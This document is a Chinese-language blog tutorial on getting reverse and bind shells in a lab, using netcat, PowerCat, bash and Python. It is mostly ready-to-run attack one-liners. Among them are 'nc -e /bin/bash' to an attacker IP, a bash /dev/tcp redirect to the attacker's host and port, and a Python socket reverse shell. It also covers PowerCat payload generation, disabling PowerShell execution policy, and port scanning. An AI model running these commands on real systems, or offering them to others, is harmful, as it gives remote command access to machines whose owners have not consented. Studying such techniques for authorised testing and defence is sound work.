反弹shell基本方法和场景

反弹shell的方法和场景

NC反弹shell

Netcat简称NC(除非自带,否则容易被杀),是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通NC可以进行端口扫描、 反弹Shell、端口监听和文件传输等操作,常用参数如下:

一、正向反弹Shell

1、实验拓扑

攻击机:10.210.99.82

靶机: 10.210.100.147

2、实验介绍

攻击者机器 10.210.99.82和靶机 10.210.100.147可以相互的访问,这个时候可以使用正向shell

3、实验复现

1)在靶机上运行

1
2
nc -lvvp 1111 -e C:\Windows\System32\cmd.exe windows机器
nc -lvvp 1111 -e /bin/bash linux机器
APACHE

2)在攻击机上运行

1
nc 10.210.100.147 1111
APACHE

3)拿到正向的shell

二、反向反弹Shell

1、实验拓扑

攻击机:10.210.100.128
靶机:10.210.100.148

2、实验介绍

攻击者机器10.210.100.128不能直接访问靶机,但是靶机10.210.100.148可以访问攻击者的机器,这个时候使用反向shell

3、实验复现

1)在攻击者机器运行

1
nc -lvvp 1111 监听1111端口
APACHE

2)在靶机上运行 (反弹到公网)

1
2
nc -e C:\Windows\System32\cmd.exe 192.168.3.27 1111 windos机器
nc -e /bin/bash 192.168.3.27 1111 linux机器
APACHE

3)拿到反向的shell

三、NC的其他用法

1、Banner 的抓取

靶机运行着ssh服务,可以查看服务的版本

1
nc -nv IP Port
ARMASM

2、端口探测

可以查看端口的开放情况

1
nc -v IP Port
ARMASM

多端口扫描:

1
nc -v -z IP Port[1]-Port[65535]
APACHE

3、端口监听

监听端口,当访问该端口会输出该信息

1
nc -l -p Port
CSS

4、文件传输

1
2
3
接受端:nc -lp Port > file

发送端:nc -vn IP Port < file -q 1 (windows是-w,Linux是-q)
VHDL

1、 接收端文件夹下为空

2、 接收端执行命令

3、 发送端执行命令

4、 接收端接收到文件

5、简易聊天

1、vps执行 nc -l -p Port

2、靶机执行:nc -vn IP Port

6、连接远程主机

1
命令 nc -nvv IP port
ARMASM

PowerCat反弹Shell

PowerCat介绍

PowerCat是一个powershell写的tcp/ip瑞士军刀,看一看成ncat的powershell的实现,然后里面也 加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等。

PowerCat安装

1、下载地址

https://github.com/besimorhino/powercat

2、下载下来导入

1
Import-Module .\powercat.ps1
COQ

3、如果提示未能加载指定模块,则可能是权限问题,输入如下代码

1
Set-ExecutionPolicy Unrestricted
GAMS

4、输入如下命令可以查看帮助信息

1
powercat -h
EBNF

5、如下就是安装成功

PowerCat命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-l监听连接
-c连接到侦听器
-p要连接或监听的端口
-e执行
-ep执行Powershell
-r中继。格式:“-r tcp:10.1.1.1:443”
-u通过UDP传输数据
-dns通过dns传输数据
-dnsft DNS故障阈值
-t超时选项。默认值:60
-I输入:文件路径(字符串),字节数组或字符串
-o控制台输出类型:“主机”,“字节”或“字符串”
-of输出文件路径
-d连接后断开连接
-rep中继器。断开连接后重新启动
-g生成有效载荷
-ge生成编码的有效载荷
-h打印帮助消息
DIFF

PowerCat实验

靶机:10.210.100.147(win7)

攻击机:10.210.99.82(win10)

PowerCat和nc正向连接

1、靶机使用powercat执行以下命令

1
powercat -l -p 9876 -e cmd.exe -v
STYLUS

2、攻击机使用nc执行以下命令

1
nc 10.210.100.147 9876 -vv
APACHE

3、查看返回结果

PowerCat和nc反向连接

1、靶机使用powercat执行以下命令

1
powercat -c 10.210.99.82 -p 8888 -v -e cmd.exe
APACHE

2、攻击机使用nc执行以下命令

1
nc -l -p 8888 -vv
APACHE

3、查看返回结果

PowerCat和PowerCat反向连接

1、靶机使用powercat执行以下命令

1
powercat -c 10.210.99.82 -p 4444 -v -ep
APACHE

2、攻击机使用powercat执行以下命令

1
powercat -l -p 4444 -v
APACHE

PowerCat文件传输

1、靶机使用powercat执行以下命令

1
powercat -l -p 9999 -of test.txt -v
STYLUS

2、攻击机使用powercat执行以下命令

1
powercat -c 靶机ip -p 9999 -i D:test.txt -v
STYLUS

用powercat生成payload

1、攻击机使用powercat执行以下命令生成payload

1
powercat -l -p 7777 -e cmd -v -g >> shell.ps1
APACHE

2、在靶机上运行脚本

1
.\shell.ps1
LIVECODESERVER

3、攻击机使用powercat执行以下命令连接

1
powercat -c 10.210.100.147 -p 7777 -v
APACHE

Bash反弹shell

Bash介绍

Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell

Bash 反弹Shell的命令如下:

1
2
3
4
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2
AWK

“bash -i”是指打开一个交互式的Shell

“&”符号用于区分文件和文件描述符,**”>&”符号后面跟文件时,表示将标准输出和标准错误输出重定向至文件“>&”符号后面跟数字时表示后面的数字是文件描述符**,不加”&”符号则会把后面的数字当成文件。数字”0”,”1”,”2”是LinuxShell下的文件描述符, “0”是指标准输入重定向, “1”是 指标准输出重定向, “2”是指错误输出重定向。

“/dev”目录下”tcp”和”udp”是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当于是在Socket连接中传输数据。**”>&/dev/tcp/攻击机_ip/攻击机端口”则表示将标准输出和标准错误输出重定向到”/dev/tcp/攻击机ip/攻击机端口”文件中,也就是重定向到了攻击机**,这时目标机的命令执行结果可以从攻击机看到。

“0>&1”或”0>&2”又将标准输入重定向到了标准输出,而标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,从而可以通过攻击机输入命令,并且可以看到命令执行结果输出

bash反弹shell实验

攻击机:10.210.99.82(windows)

靶机:10.210.100.148(linux)

1、攻击机器使用nc执行监听命令

1
2
nc -lvvp 9999 监听 TCP
nc -lup 9999 监听UDP
APACHE

2、实验靶机执行连接命令

1
bash -i >&/dev/tcp/10.210.99.82/8889 0>&1
APACHE

3、查看结果

Python 反弹Shell

Python反弹Shell介绍

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机器IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
TCL

实验

攻击机:10.210.99.82(windows)

靶机:10.210.100.147(linux python2)

1、攻击机器使用nc执行监听命令

1
nc -lvvp 8877 监听TCP
APACHE

2、实验靶机执行连接命令

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.210.99.82",8877));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
TCL

3、查看结果


反弹shell基本方法和场景
http://example.com/2023/11/27/反弹shell基本方法和场景/
作者
r1
发布于
2023年11月27日
许可协议